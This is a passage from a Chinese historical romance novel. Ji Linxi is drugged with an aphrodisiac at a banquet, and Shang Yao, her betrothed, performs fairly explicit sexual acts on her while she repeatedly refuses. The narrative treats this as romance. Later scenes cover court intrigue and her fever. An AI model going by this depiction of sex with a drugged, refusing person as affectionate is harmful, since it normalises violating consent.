少主公就是喜欢。他就是喜欢。
听得韩朔这句,商曜不免扬唇。这笑容里有一分朦胧的骄傲,饮了这杯酒,低下头去,破天荒回应:“会手软。”
傅以存一怔,看向他唇角清浅,笑了。
姬昱恐怕真是个有大作为的。生对女儿,四十岁都还是无比年轻。
过去两三年间,凉州各路高官探问姬临溪亲事,姬昱一律回绝,没有对任何人松口过哪怕一个字,更没有同意女儿留下任何纠缠过往。爱护之心是真的,也何尝不是在等这一天。
商曜忍到筵席散去,径直回了关着她的小院。不想一进屋,见临溪举着一支匕首,缩在榻里发抖。
他一步上前,按住她肩,正欲开口。
被临溪猛地打开手,她警惕回过身。见到是他,眉眼倏然一松。
双瞳泛红,脸颊脖颈亦漫开不正常的红晕。商曜伸手拿掉匕首,不免蹙眉:“你——”
“他们给我下了药。”临溪抓住榻边,语调勉强平稳道,“是那种药。把匕首还我。”
商曜脸色一沉,将人牢牢托住:“怎么回事。”
“我也不知是我父母还是……”临溪抬手推他,咬牙斥责,“我警告你,你别碰我!”
她反复拿匕首划开指腹,两只手已经血迹淋淋,气力没了大半。被他掌心一碰,忽然倒进他怀里。
他望着她双眼通红却坚决不肯落泪的倔强,心脏忽然于那至深处轻轻一绞。
那未曾掉出的泪水先于她的面颊淬开自己,有着忽然降临的清晰痛意。
“别碰我。”她喃喃着重复,“你想清楚。此情此景你若敢碰我,我永远不原谅你。”
她甚至可以接受打不过他而被欺负,也不能宽宥自己毁于这种手段。
他望着她,声音很低:“我叫医士。”
“不必!”临溪攥住他臂膊,指甲陷入衣料,“你懂什么?此类仙药非毒,没有性命之忧,只是无药可解,要靠生熬——催助而已,什么不做那事会死,都是骗人。不许闹大。”
咬着牙道:“我不需要旁人知道我的父母如此待我。”且她生气归生气,思绪还算清楚,故而十分怀疑。
父母希望商曜守诺明媒正娶,给她侯夫人的位置,所以费尽心思,刻意吊他对她万般喜爱,这不是不可原谅。但用这种手段,男子早早于床笫间得手,反而未必珍视。
这与她父母目的不符,那就不会是姬昱和李芝兰。她不知会是谁,不如不要打草惊蛇。
他丢开匕首,低头凝她双眸。
对视片刻,那双眼睛分明漫出迷离。捉住他领口的手指收紧,无措移开视线,不知警告给谁听,声音低低:“不可。”
他就笑了一笑。
“不肯让人知道,”他道,“却放心我在这里。”
他戳穿了她。
临溪又窘又怒,却到底一个字也说不出。她很气她父母终究只是世间一对庸常的女娘的父母,旁人怎么对女儿好,他们也只到认清那一点好;但却无法回避自己也没多难过的事实。
甚至于他俯身向她索取欢愉之时,她也曾经任由双手垂落在他肩骨。
她再次被抱起来。他抱她比在筵席举觞更轻易百倍,腕骨微微一使力,少女身体即横悬在空中,脖颈与手腕自然下落。
感知到他扯下帐帷,也不过动了一动。
博山炉丝丝缕缕燃着草木香。
临溪心头发热,看眼前年轻男子前所未有的英俊挺拔,抬手咬住指骨,扭过脸去。
商曜拉下她的手,贴近自己的嘴唇,望着她,唇心碰了一碰。
“我不叫人,”他慢慢道,“是我品行低劣。亲吻不能满足我,我想同你更亲近。”
临溪头脑昏昏沉沉,摇了摇头,口中也在拒绝,眼睛和语调却都蒙着一层流动湿气:“不要这种时候!”
他用确切的口吻让她放心:“不会是今天。”
“但我可以帮你。”他俯下身,靠近她锁骨处,“要吗?”
她坚持回绝:“不用——我无事——”
他静静望着她泛出红晕的脸颊,不紧不慢抵转:“这样好些吗?”
临溪再次咬住自己。
他明白了,只姿态闲适,相抵相切,如琢如磨。
“你是不是有过?”她整个人都在抖,恨不能在逼仄天地之间拧通自己,就不再受这种苦楚。双目却遽然明亮:“你为什么知道可以这样?是不是有过别人?”
这有什么不懂,既然不能真刀实枪,无非就用其他坚硬骨骼。他毕竟十九岁了,难道还没看过几本避火图?商曜无言以对。
姬临溪已经恨恨盯着他:“我警告你,倘若有过别人,立刻滚下去!我不要旁人经手过的脏东西!”
这女子真是有意思,实在太有意思。不娶回家根本不行。
“有过我明日就暴毙好吧。”他懒洋洋哄她,知她心性决绝,连生死也不忌,“无师自通罢了。你老实点。”
搂她在胸膛里,戏谑接道:“不过,让后人评说我死在你身上,也不错。香艳。”
她抬手就要打,被他眼疾手快攥住,扯到自己颈后。俯身下去,唇抵着唇,哑声安抚:“抱我。抱着我。”
她停住了。
他托起她的下颌,吻住嘴唇。这回连摩挲也没有,径直欺开,长驱直入。大手去扯她腰间裙带,不得章法,索性撕碎衣料。伴随裂帛时轻微一声响,膝骨重重陷入,向上一撞。临溪猛地抬手,咬住食指指腹。
“谁许你咬?”他亲昵吻她掌心外缘,语气却冷,“松手。叫出来。”
她绝不配合的架势,将指腹血迹咬出蜿蜒。他以指腹去抿一撇,慢吞吞抹在她脸上,语气怀念:“初见如斯。”<
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她怔忡稍顷,闭上眼睛,哑声划下底线:“不许到最后。否则我杀了你。”
他微微地笑了,黑眸分外明亮:“我不舍得。”
她预感这将更为不同。
他并住手,漆黑眼瞳定定望着她双眼。
小娘子死咬住唇,犹溢出一声呜咽。
他隔岸观溪,耐心调整枝梢所长出的角和力。
“够么。”他吻到她额头,嗓音亦是哑透,“翩翩,够了么?”
她再不复清醒了。
“叫我的字。”他低声命令,“叫。”
胆敢喊出竞初,他即刻掐死她。
身下人许久没有动,直到药力再次席卷,难受抱紧他肩背,轻轻弱弱一声:长叙。
商曜整个人,从身到心,猛地一僵。
气血向上向下,有如肌理轻快融为河流,同时激烈奔涌。
几乎就要反悔。
偏偏她浑然不觉,喃喃重复:“长叙。”
他一手紧紧掐按她纤细腰身,另一只手同她十指相扣。换自己亲自兵临城下,遒劲肌骨永不知疲倦般反复,直至肩骨拱起。
一室冬夜春光,交织泻入锦衾。
*
临溪悠悠转醒时,先是觉得头痛欲裂,而后就是某种难言的感受。
但又不是疼痛。
抬手用力捶捶脑后,乍然听见男子低沉声线:“终于醒了。”若仔细听,尚存一分餍足。
姬临溪一愣。慢半拍转过脸去,对上那张可恶俊脸。
更可怖的是,此人衣襟大开,半片精壮胸膛要露不露。单臂撑在她脸旁,神色舒畅而闲适:“小娘子好大胃口。”
她怔了怔,猛地扯开被衾,低头去瞧。
“我答应你不会便不会。不必看了。”他伸手制止,将人托到脸下,指腹去勾,“但也只差最后一着。快活否?”
临溪还是发愣。
她无措发呆时,反倒又乖又可爱又漂亮又娇弱。他这会对她实在是一句重话说不出,亲昵碰一碰额头,低声调情:“想回晋阳。”
尚且隔着薄薄衣料,他已快活到头皮发麻、骨髓轻颤、肌理舒张,心绪几近抽离升腾。不知彻底将她占有,该是何等满足快意。
临溪还是一动不动。
他原本起身要穿衣,余光窥见她失魂落魄模样,笑了一笑,去托她脸:“没有。你别怕。”
将人往怀里一带,低声道:“我今夜是帝禹。”数度过门不入,治理水文一流。
她没有反应。
商曜明白了,开始在心里数数。
一、二——连三都不用,小娘子已经腾空而起,双手牢牢卡住他脖颈,反压在他身上,怒目而视:“竖子!”
“竖子都做你夫君了,你是什么?”他望着她笑,笑容里有一点漫不经心,“姬临溪,别再跟我装模作样了。你不怕不哭不叫人,敢说不是因为知道是我?”
愿不愿意当下和他做那事另说,至少也是相信他不会真的伤害她。
她狠狠瞪着他,到底心虚气短:“你要脸不要?”
他眼尾一抬:“哭着求我用力时,也没见你要。”
她哪会讲道理,抓住他颈项就掐。被他轻巧格开,攥了臂膊向下,一起滚倒回床内,声音渐沉:“我像迂腐之人么。”
临溪胸脯剧烈起伏,回视眼前明亮双瞳:“你辱没这两字。”
“是了。”他却是快活地一笑,“你当真以为我非要等成婚?”
熟悉触觉传来,像榫抵到它那天造地设又轻车熟路的卯位。临溪咬住下唇。
他盯着她脸庞,低低警告:“我说了,不准咬。”这回却不亲她,只抬手以指腹,强行拨开唇瓣,蛮横将食指停纳她檀口。
临溪猝然失去力气,怔怔看着他。
“翩翩很聪明。”他又忽然变了个模样,语调亲昵而夸赞,额头抵着她的额头,“不妨猜猜,我在等什么。”
她心里是知道的。但她绝不会说,抬腿就用尽力气往他腿上踹。被他膝骨轻易压制,年轻男子勃发身形完全而沉重地覆盖她的身体,声音咬住她的耳畔:“那我说。”
“我等你心甘情愿。”
27. 暗涌
时令到了十月底,姑臧夜间早是冰天雪地的寒凉。他以自己的大氅紧紧裹住她,抱她归家。顾念临溪身体,难得没有骑马,用了一辆郡守府早早备下的卷蓬轺车。
她始终一动不动,像是连思绪也停摆。商曜知道今日亲密于她还是太过了,本能快感消散之后,晃神抵触惊吓皆有。倒不出言逼迫,只是不许她脚沾地一步。
始终牢牢横抱在怀中。
小娘子是害羞了么?他心里觉得好笑,只面上依旧沉着平淡。
不想她忽然开口:“不是我父母。”
他低下头去,她倒在臂弯,定定望着他:“我父母希望你信守承诺,让我风风光光地嫁为正妻,仅此而已。你不能在姑臧成婚,晋阳陌生、变数也太多,他们心中不安。但他们绝不会对自己的女儿做出这种行径。不是他们。”
商曜扯了下唇。
什么害羞。不说话原来只是在动脑筋,思索究竟谁在害她。
“就算是,”他开口,情态恢复往日游刃有余,口吻不冷不热,“难道我还会追究?”
临溪直起身,虽坐在他膝上,却低头疏远回话:“邺城郡守献美人,被你好一通发落,之后就被王辽借机发挥,抢了官职。凉州亦非万事太平。我不希望我父亲也给你留下为谋仕途不择手段的印象。我父母今后还是要在你手里谋前程的。”
下颌猛地被抬起。
临溪周身平静。
他盯着她,慢声反问:“你的前程呢?”
夜色深深,她不大看得清他眉宇,只从语气听出,并不十分高兴。抿了抿唇,不接这话,语调有些冷:“其实还是多谢你。放过我很多回了——”
“你以为,”他顿一下,指腹摩挲下颚冰凉肌肤,“还有下回?”
临溪心脏一紧,这种对峙几乎耗尽心力,还不能够示弱露怯。深深呼吸了下,温吞解释:“其实,段泰身为郡守,对我父亲——”
“闭嘴。谁想听你说这些?”
临溪低下头去,没什么力气地骂回去:“你才闭嘴。牙给你打掉。”
他在心里冷哼一声。
比起人为关窍,他多宁愿她是真的不开窍。
他不理她了,她自讨没趣,也就不吭声。然而再不吭声,在怀里还是老实在怀里。他单手搂着她腰,垂眸就看见小小身体被完整纳在自己怀中,肩上还是九章龙纹银线所微微折射出的光芒。
方才那样亲密无间过,这会她说什么做什么,他都愿意纵容。垂首用额头碰碰她额头,语气又有些平和的意味:“怎么倔成这样。”
他也不指望她回答,姬临溪自始至终,极度抗拒和他进行任何关于她本人所思所为的沟通。
不想这句落下,过了片刻寂静,听见一声:“我很美。是不是?”
他心下一哂,唇贴着她,语调又转回无情:“撒娇对我永远不会管用,翩翩。”
“你这竖子!谁撒娇?你不认也得认。”临溪气息亦如兰,流在耳畔,“你能这般对我,再三原谅退让,不过因美一字。装什么?”
“你都如此,天下男子,莫不如是。”她一扬下颌,“我不倔,怎么活?”
商曜笑声虽低,也极为短促,却是真正从心底而笑,为着某种对眼前女子容貌之外的惊艳,为确信无论美或倔,都即将是他拥有:“那今后不必了。”
她嘴上犟归犟,今夜坐在他膝上都不再反抗。
临溪果然侧过身,以脸颊抵在他肩骨。
他唇角不自觉就往上抬,伸手捉住她两只手心,盘去自己颈后。
她没有拒绝,但分开时,也依旧毫不犹豫。他望着她背影,眉眼一深。
进房后临溪神色平静,倒是李芝兰蹭地站起:“怎么这么晚?”按照她的预想,今日在旁人府中,两人不会越界太多。
临溪腿间还有些不舒服,疲乏倒在榻上,蜷缩向里:“我累了。阿母自顾去睡吧。”
李芝兰默了一默,见女儿一言不发,跟上来轻拍肩背:“翩翩——”
“你们还要我如何。”
轻微而突兀的哽咽,临溪死死攥着手中软靠:“连这样的事,我都替你们找补。都告诉自己,你们不是不想要我,只是觉得他更可靠。到底还要我如何?”
“什么呀?什么这样的事?”李芝兰不解,“今日抚琴,叫你这么难过吗?”
临溪心下一静,了然。
摇一摇头,只低声道:“为何非要我嫁出去,你们才安心呢。枉我以为阿父阿母,是真的爱护我。”
李芝兰一静,叹口气:“我只是希望,有人能够护你余生。这有错吗?”
“没有。”临溪答,“今夜也什么都不曾发生。阿母放心去睡吧。”
李芝兰还想说,看她眉眼间藏都藏不住的疲倦,生生按下不表,摸一摸她脑袋,起身离开。
临溪趴进床里,捂住眼睛。
无声哭了一会,外间忽传敲门声,望舒嗓音轻柔:“女公子。”
立刻抬手擦掉眼泪,跳下床,三两步开门:“何事。”
“我烧了热水。”望舒端着木盆,只是问,“女公子梳洗一番吗?”
临溪眼前又一湿。点了点头接过,低声道谢。
低头为自己清洗时,眼泪又掉下来,接连坠入盆中水面,荡开涟漪。
她谁都不能怪。
无论父母如何,她知道他们待她,永远不会是坏心;商曜也没有真的夺取。何况,她甚至记得自己用力抱紧他,求他解渴,记得自己今夜回应时,唇舌纹路交接所摩挲的触觉。互相亲吻和只承受是很不同的,她才知道。
谁都不能怪,但只有她承担错误。
郡守府邸。
王琢在灯下染甲,女儿段文君跽坐在膝下,替她择洗梅花花瓣:“阿父说送客,怎地还不回来。”
“他有脸回来?”王琢冷嘲道,“敢卖我女儿,我不给他打出姑臧城都不错了。”
段文君叹一声,忍不住道:“可是,翩翩阿姊也没有做错什么。”
“要你操心?”王琢睨她一眼,“她和君侯本来就定过亲,那婚雁都送到使君府上去了,要跟着回晋阳的,早些晚些有什么。我又不是害了旁人。”
段文君一想,倒也是这个道理,只好道:“但阿母拦下来也就是了,何必还送去给阿姊喝。”
“好玩,且又不一定真有事。再说了,她阿母不是恨不得他二人即刻成婚。”王琢促狭一笑,“凉州好不容易出了这么位女公子。难得你大兄二兄上进都想去晋阳,若是事成,我当做一个人情,反正君侯喜欢她。”
“翩翩阿姊不会帮大兄的。”段文君无奈,“他到处说阿姊在武堂杀鸡多丑多丑……”
王琢扶额:“别再提这件事了。还嫌不够丢人?”
段文君也偷偷一笑,又仰头:“可是好像没有……”
“那就更好。”王琢拍拍女儿脑袋,安慰道,“到这份上男人还不舍得,那翩翩今后去晋阳,肯定过得不会差了。但任凭她如何夺目,只有你是我心头至宝。文君,天下之大,我不会叫任何人算计你。祖父祖母、父亲兄长、王侯将相,都不能。”
段文君投入母亲怀中,软绵绵喊:“阿母。”
王琢垂眸,爱怜抚摸她发顶:“小心肝。你要记住,阿母为你,尚且什么人都敢得罪,你自己就更要自信自立,不叫任何人利用。”
屋外一阵脚步声,唯肥胖之人才会有的沉重。门页展开来,段泰小心翼翼,探出一个发冠:“夫人?”
“滚进来!”
段泰一脸苦色,弓着腰进屋,笑
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脸向前:“是我不好,是我不好。我哪里舍得文君?都是老人想岔路,我回头就说他们去。”
“你父母一辈子也没有对过。”王琢抬起眼睛,声音清凌,“警告他们,这是最后一次。倘若再敢打文君姻亲的主意来换你仕途,我不会再轻轻放过。”
段泰擦一擦额:“我也知不该这样行事的,不是黑白不分。”
又道:“只是这桩姻亲一成,姬逸衡这刺史的位置更是坚不可摧……”
王琢打断:“他有才干。你有吗?”
夫妻一时冷战,外头小厮急匆匆敲响门:“府君!府君!”
“何事夤夜吵嚷!”段泰正好发作,不耐烦斥责。
“君侯叫人送了东西!”小厮焦急,“是我们今日送给韩将军的玉璧,他叫人退回来了,还带了一句话。”
段泰倏地起身,扯开门:“什么?”
“说、说,说叫府君——”小厮一脸为难,“叫府君的心思还是放在正事上,不要下回议事,又说错名讳。”
段泰脸上青一阵白一阵。他讨好何敞及城阳王妃多年,何敞虽死,一时还是口误了一次,只那一次。
王琢起身:“好了,你去歇吧。”
小厮躬身退下。
屋内静一静,段泰不禁道:“你既知情,阻止了也就是了,怎么还把东西送去给姬逸衡那女儿喝。人家这不护短来了。”
王琢嗤笑:“你父母可是想给他下药,再推你女儿去伺候。你猜猜若是这事做下了,你这郡守的位置还保不保得住?到时可不是退玉的事。”
段泰皱眉:“那你也——”
“所以告诉你父母,”王琢牵过段文君,转身就走,“商曜他们惹不起,我和我的女儿,他们也惹不起。”
段文君一步三回头,见父亲脸上又露出那种终年无奈神情,抿唇笑了一笑,双眼明亮。
帅帐之中,韩朔耷头耷脑,正在挨训。
商曜将一卷竹简丢在他脚边,语调冷然:“去抄军规。下次再犯,你今后就待在晋阳。”
“少主公!”韩朔快哭了,“我、我只是——我也不会被人蒙蔽——”
“你不会?”商曜掀他一眼,“一旦拿人东西,心就不能公允,这道理你不懂?”
韩朔吸吸鼻子:“我知道主公说的是。可是、可是我大兄今年要议亲了,我想着那玉璧适合做贺礼——”
他没有撒谎。他不算什么近亲,只是有个大姨母嫁得不错,又机缘巧合做了商曜长姊商昀的婆母。但父母早逝,家道中落,全靠大兄抚养长大。且他母亲与大姨母非同母所出,情分颇为淡薄,平时姨母待他,还不如商家姐弟待他亲厚。
那玉璧通透莹润,实乃上乘名品,且宴饮酒酣,他一时就想岔了。
“少主公,我错了。”韩朔黝黑高壮男儿,道歉却诚恳,“我再也不了。”
案后人默一默,低头看回军报,淡淡道:“贺礼我会备好。双份。”
韩朔倏地抬头。
胸腔遽然一热,慌忙垂下脑袋遮掩。
“怎么今夜还动气呢。”
傅以存打起帐帷,缩手入内:“少主公是身上有火发不出吧?”
竹简迎面飞砸过来。傅以存哎一声接住,笑着去拍韩朔:“多大点事,给熙良一通训。无事啊,下回长记性就好。这些个郡守都是人精,拿他东西就要替他办事,你这脑子周旋不来的,万万不能开这个口子。”
韩朔沮丧,点一点头:“明白了。”
“不过若是姬使君夫妇有事,该办还得办。”傅以存避开第二卷竹简,眯着眼笑,“这家人的大造化在后头呢。”
依他看,数年后就是皇后、国丈、诰命的一家。
这次没有第三卷砸过来。商曜微微勾着唇,也笑了。
28. 心防
除了第一天出门去武堂一趟,姬临溪连着好几日躲在家中,也不爱说话,只允许望舒每日按点送饭送水进内间,除却洗漱沐浴,其余时间就在房内,一点动静也没有。
李芝兰忧心如焚,不知是不是哪里横生枝节坏了事。但翩翩说过没有发生什么,且姬昱遇上商曜,对方态度也更温和。
姬昱试探问过,是否需要提前纳吉。时下姻亲,若是双方八字卜算结果不好,后续就很难再往下了。
商曜近几日很忙碌,信使在姑臧和各郡之间跑断了腿,一天里大半时间都在军营。难得回衙署取公文,听姬昱这么问,回过身瞧他。
“寻常人家倒是无妨的,实在不合适,两相也好及时换人。”姬昱咳嗽一声,“但望君侯体谅。若是她去了晋阳,由君侯家眷主持卜算,结果不好,再孤零零回凉州来。这就有些……我为人父,不能不考虑周全。”
商曜笑了一下。
低头叠着简牍,语调平淡:“使君和夫人放心。大凶之兆,我也会娶。”
他婚姻的八字卜算,结果自然是他说了算,大凶改大吉也不过一句话的事。父母长姊得他敬重,但无权干涉。
这是晋阳城内事,他不和姬昱多说。
姬昱愣了愣,连忙颔首道谢。商曜已经攥着军犊向外,他眼尖,瞥见好几卷是姑臧官属亲手绘制的羌人部落地形图,微微凝眉。
晚间用饭,临溪依旧没有露面。姬昱心下奇怪,询问妻子:“翩翩又怎么了?”
李芝兰抿唇,摇一摇头:“我也不知。”
“这孩子好像有心事了。”她怔怔道,“也不同人说,就自己藏着。我看君侯近两日也没要见,真是让人发慌。”
“他大约是有事。”姬昱倒不在意,男儿有正经事时,不见女眷才是对的,“你多去陪陪。总要让她开开心心出嫁。”
李芝兰默然。
提了灯推开房,内间一片漆黑,毫无声息。蹑手蹑脚走近,到了床边,轻声喊:“翩翩?”
依旧没有回应。李芝兰这才察觉不对,连忙放下角灯,上前去抓女儿臂膊。手心传来不寻常的热意,惊愕一顿,慌张触摸额头,更是一片滚烫:“翩翩!”
转身就往外叫:“夫君!夫君!”
望舒和菀青先冲进来,李芝兰已有些动怒:“女公子生病,你们都不知?”
菀青吓了一跳,本能回道:“女公子不让我们近身……”
望舒已经转头,去取方巾打热水。
姬昱跟着快步进来:“这是怎么了?”
“高烧!”李芝兰吼道,“还不快去叫医士!”
“这么晚了……”姬昱一顿,心中有数,掉头传了小厮,叫他快马去军营,托君侯遣军医来。
李芝兰垂眸望着女儿紧闭双眼的面容,手心攥住她手心,许久没有说话。姬昱上前探了探温度,宽慰道:“别太担心。入冬时令易染风寒,叫医士来好好看看。”
“我是……”李芝兰低落,“她连磕到腿都来和我撒娇抱怨的,这次一声不吭。”
姬昱一怔。
小厮到了城郊并州营地,虽拿出刺史府符节令牌得以入内,在帅帐外却被拦下。正是先前帮临溪安葬过府中人的杜师,持枪严肃道:“少主公在同几位将军议事。”
“我家女公子高烧!”小厮连忙道,“她是同君侯议亲了的……”
杜师一愣,犹豫了下,还是转身去通报。在帅帐外遇到更衣归来的邬逊,赶紧上前:“先生!”
邬逊回头。
“使君家女公子夜里突发高烧,想请军医去瞧。”杜师压低声音,“劳烦先生知会君侯。”
邬逊沉吟,负手道:“小事情。你送军医过去就是。”
杜师迟疑:“那……”
“主公近几日有多忙碌你不知?”邬逊扫他一眼,“马上就要用兵,这会哪里有时间。你好生送军医过去,替女公子看好再来报。”
杜师瞄一眼通明帅帐,点一点头,领命离去。
姬昱夫妇在家中不过等了片刻,就见小厮领着军医匆匆入院。李芝兰顾不上,接到军医就往女儿房间去,姬昱却多问一句:“君侯没有一道来?”
“送军医的将军说,君侯今夜一直在议事。”小厮如实回禀,“怕是抽不出空。”
姬昱点一点头,侧身跟去临溪房里。军医已抬手搭脉,凝神把过脉搏,温和安慰:“夫人不必担心。冬季寒气入体,近几日又忧思过甚,以至一时高烧。待我开了药,好生照料就是。”
李芝兰松了口气:“多谢医士。”
这才想起看一看他身后,眼见无人,心下又坠了一分。她知道商曜大抵是那种极难拿捏的男子,平时又日理万机,就算喜爱,到底不许人恃宠而骄。却不想经过筵席一夜,竟还是连高烧也不来。
再去看昏睡中的女儿,思及她近几日意志消沉,心情顿时便有些复杂了。
李芝兰亲自守夜,寸步不离。
商曜对此一无所知,专注盯着舆图,口中回复傅以存:“羌人亦为游牧部落,擅突击搏杀,不宜先发。”
“那就只能把人骗来了。”傅以存扬眉,“佟复那个法子,我看可信。胡人勇猛,但缺脑筋。从前他和张广时常跟着何敞出入,他们想不到那么多。”
韩朔摸摸鼻子道:“不可信也无妨啊。今年凉州这么冷,他们不来,根本没法过冬,迟早都是要来。”
“你猜我留元椋在金城做什么。”商曜回身,笑了一笑。
傅以存抬手:“你又搞什么鬼?”
心念电转之间想起一个人:“等等。你非要扫羌乱,莫非是因为——”
商曜道:“何敞毫无统帅之才。城阳王肯把他放在金城,不会是因妇人举荐。”
徐砺走上前一步,低声笑道:“少主公怕不是议了亲后,自己预设女公子举荐阿弟担任重镇将领,发觉是一点都不能同意,一点情面不会给,就觉得不对。”
韩朔咧开嘴:“好在那女公子没有兄弟。”
商曜也笑,应了一句:“她是没有。”
随后抬脸:“洛阳风雨飘摇,想来剧变就在两三年间,不会太久。刘煜这妻弟不堪重任,行事又暴戾恣睢,却有一桩好处。他喜结交羌人,同几位部落首领能够把酒言欢。”
傅以存彻底明白过来:“想借兵。”
“羌人原本也不止骚扰甘凉。”商曜颔首,“其部曲狠毒骁勇,十几年前才险些打进西京。假以时日刘煜若在河南败退,退守西京,有羌人倒戈护卫,未免不能成事。是以才肯留用何敞。这么多年,何敞始终拒绝配合姬昱养兵用兵的计谋,正因有刘煜暗中嘱咐,不可重创西羌。”
他扯一扯唇,直接道:“长安是我要选的都城。轮不到他们筹谋。”
“糊涂。”邬逊这时开口,“非我族类,其心必异。留着羌胡,岂非引狼入室?”
“先前少主公力主诛杀何敞,我其实是不赞同的。待刘煜在洛阳接到消息,一定不会轻易揭过。”邬逊沉吟,“不想还有这么一层渊源。倒是杀得痛快。”
“只杀一人无用。”商曜道,“羌人离西京太近,不毁其根基,来年就又卷土重来。届时我们远在晋阳,未必赶到。”
“主公放心。”傅以存挑一挑剑穗,“烧当先零,只要敢来,一道诛灭。”
“会来的。”商曜垂首,收整军简,“佟复这个人是有作为的。且他也明白,将妻儿前程交到我手里了,再出尔反尔,我全都杀。”
徐砺和韩朔对视一眼。
“少主公……”还是傅以存开口,“果然只对姬使君一家仁厚。”
邬逊瞥他一眼。
商曜语调又有些冷:“他只需老实做事,妻儿在晋阳的宅子都会选好。”
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傅以存耸肩:“姬昱什么都不必做,就死了个毫无亲缘的义子,姑臧和州牧都保住了呢。”
邬逊咳嗽。
不想商曜心情好,连这话都答。低着头,微微玩笑道:“会生女儿也是本领。”
帐内大笑。
邬逊走时几度侧目,还是没有多说,只领徐砺一道离去。已过亥正时分,商曜独自点灯读简,外头杜师请见:“主公!”
“进。”
“回少主公,军医归了。”杜师以为邬先生至少会提及看病一事,就自然而然说明,“说女公子没有大碍,只是冬日伤寒,明早就能退烧……”
商曜倏地抬眼。
杜师被盯得不自在:“主公?”
商曜已起身穿衣,语气些微不悦:“怎不早些来报。”
“我报给邬先生了!”杜师忙道,“主公今日军务繁忙,先生才不让打断。不过我即刻就送军医去了使君府邸,确认过女公子状况。并无大事。”
商曜一顿,自顾穿好袍服,捡了氅衣,大步向外:“今后她的事,统统报我本人。”
杜师愣了一下,连忙叫上亲兵跟行。
临溪被叫醒喂了药,只是身上疲乏头脑昏沉,靠在床里休息。李芝兰忙前忙后,抱回一床厚被褥:“多盖些。”
坐下后又关切问:“身上还难受吗?”
“好些了。”临溪将热方巾交给望舒换洗,垂首答话。
“阿母不知宴饮那日发生何事。”李芝兰替她擦一擦额头,“你有心事,要同阿母说。”
临溪侧过脸。
“我猜大约是同君侯相关。”李芝兰轻轻一叹,“你今日高烧,你父亲特意去请人家的军医。医士是来了,也很是尽心,但本尊没有露面。阿母一下子明白,为何翩翩明明有所心动,却依旧百般顾虑。”
临溪鼻头瞬间酸了。
母亲终究是世上最了解她的人。倘若她真不想,可以连抚琴也不去;如果真的那么讨厌,不会在那种热切缠绵里沉沦。
“可是……”李芝兰也不知该怎么安慰,“男子到底没有十全十美的。”
临溪抬臂,以手背抹了抹眼睛。
“也或许是军中有事耽搁——”
“夫人!女公子!”菀青在外头唤,“有人来了。”
李芝兰一愣,临溪倏地转过脸,直直望向外间。意识到李芝兰还在,又立刻低头不语。
李芝兰心中越发明白,摸摸她脑袋,轻声道:“好事。还是好事。晋阳那么远,喜欢总比不喜欢好。”
起身出去,见姬昱已经亲自迎到院里:“辛苦君侯夤夜前来。”
商曜只温声道:“听闻翩翩高烧,是以想瞧一眼。”
放在洛阳是万万不能够这样行事的,但在姑臧这种边陲之地,又定过亲,礼法早就压不住什么。李芝兰自然放人。
望舒留在房外,细心关上门页。
临溪抱着被衾,脸埋进去,哑声开口:“谁许你来?你这竖子。走开!迟来不如不要来。”
“几日不见,女公子怎么不神气了。”他口中这样戏谑,上前扯开被角,即刻解释要害,“非我不来。今夜议事,他们得了消息,只送军医来看,并未报我。”
临溪手腕松了一分。任他将她脸露出,软软包提在掌心:“怎么病了。”
“要你管?”她这都照犟不误,可惜身体做不得伪,被他一抱就乖乖倒进肩头,“你当心点吧!叫我染了风寒,哪里也去不了。自讨苦吃,我不负责。”
“还没做一定能染风寒之事。”他望她眉眼,见额角都烧出红晕,心下一柔,不想再吵嘴,下命令,“好了。让我抱。”
她绝对是还要再闹的,要么竖子,要么走开,要么你滚。
不想话音落下,临溪抬手就圈住他颈项,手腕的冰凉贴住颈间温热。脸颊一仰,靠进他怀里。
29. 蝴蝶
商曜一怔。
这小娘子就没有待他这么亲近过,除非是想用匕首。
男女终究还是不同。他不知哪怕倔强蛮横如姬临溪,同他有过那样失神的瞬间,心中也不可避免生出依赖。
那是实实在在的一个瞬间。两人同时抵达,紧紧拥抱彼此,巨大满足传来余韵,她一口咬他肩上,藏在他身下颤栗。
好在他虽不明白,却即刻给出反应。将人连着被衾裹紧,横抱在臂弯里,任她落座于膝,低声认真夸奖:“今夜好乖。”
临溪一动不动,竟还没有骂他,只是安静抱他双肩。小小身体依赖透顶,整个蜷缩在他臂弯里,脸颊紧紧抵住肩颈热意。
他轻轻笑出一声。
手掌贴住她脑后,微微施力:“小蝴蝶。”
临溪仰头:“你在叫谁?”
“你不是叫翩翩吗?”
她又低下脑袋。抱他更紧。
他重复给自己听:“翩翩。”
“不许你再叫!”她再抬起眼睛,“我生病,是因为那天上下轺车,吹了风。”
“哦。”他只慢条斯理,“我还以为是那日宣泄持久,劳累过度。”
她抬手就要打,被捏住腕骨拉近,鼻尖相碰,亲昵低声:“这几日有没有想我?”
临溪怔了下。
他又改口:“想到过我也算。”
“你——”她有些怒。“想到过”是怎么个说法?她还想到过郭颐呢。
他又是笑,将人结结实实接在怀里,不疾不徐:“这月我大约不在姑臧。过两日,我叫人来下聘。”
她不自觉屏住呼吸。
“至正旦前,”他道,“你就是我的新妇。”
临溪悄悄攥住手心。
他直白又坦然:“就算不高兴,也由不得你。”
细细想来,他不能生事,若眼下相亲相爱,那自然也没人能阻拦。但万一不合时宜地有孕在身,她实在是处处难办,于身体康健、女子名声和婚后处境也极为恶劣。
为此商曜宁愿忍耐。一旦婚仪毕,名正言顺夫妻,他管她乐不乐意。
思及此,忍不住又俯身,在她唇上亲了亲:“新妇。”
“别哄我了!”临溪躲,“我一点也不喜欢你。说这些没有用。”
他看出她色厉内荏,没有戳穿,只以掌托她脖颈,无所谓道:“是我的就行。”
她瞧一瞧他,心下又闪过那丝熟悉的失落。
她也不知在难过什么。连母亲都瞧出来,她本尊当然更早察觉,只不知是何时开始。这几日里先是愤怒,气自己对自己食言,又找补,他毕竟没有真的伤害过她。
以这时心情,他若是认认真真对她说一句,“我喜欢你”,她会不知道怎么办的。
但他没有。他似乎已经去想别的事了,眉眼微微垂着,片刻后看回她,温声询问:“要歇了吗?”
临溪倏地收回目光,脖颈转向一旁,嗯了一声。
“明后日——”他皱了皱眉,思索时间,“我晚间来看你。”
她扯过被衾,留背影给他:“假好心!”
他笑起来,俯身替她掖好被角,又将少女肩膀推平,弯下腰,亲了亲额头:“好好睡。”
临溪睁大眼睛。
他的鼻梁悬停在她脸上,是想继续的,但实在是已经太晚,有些犹豫。忽听她脆生生问:“你是怕被我染上风寒吗?”
他只顿一下,倏地问回去:“你希望我亲吗?”
沉静望着她双眼,又问一遍:“你希望被我亲吗?”
“不——”
他吻下去,双手没入少女指骨。
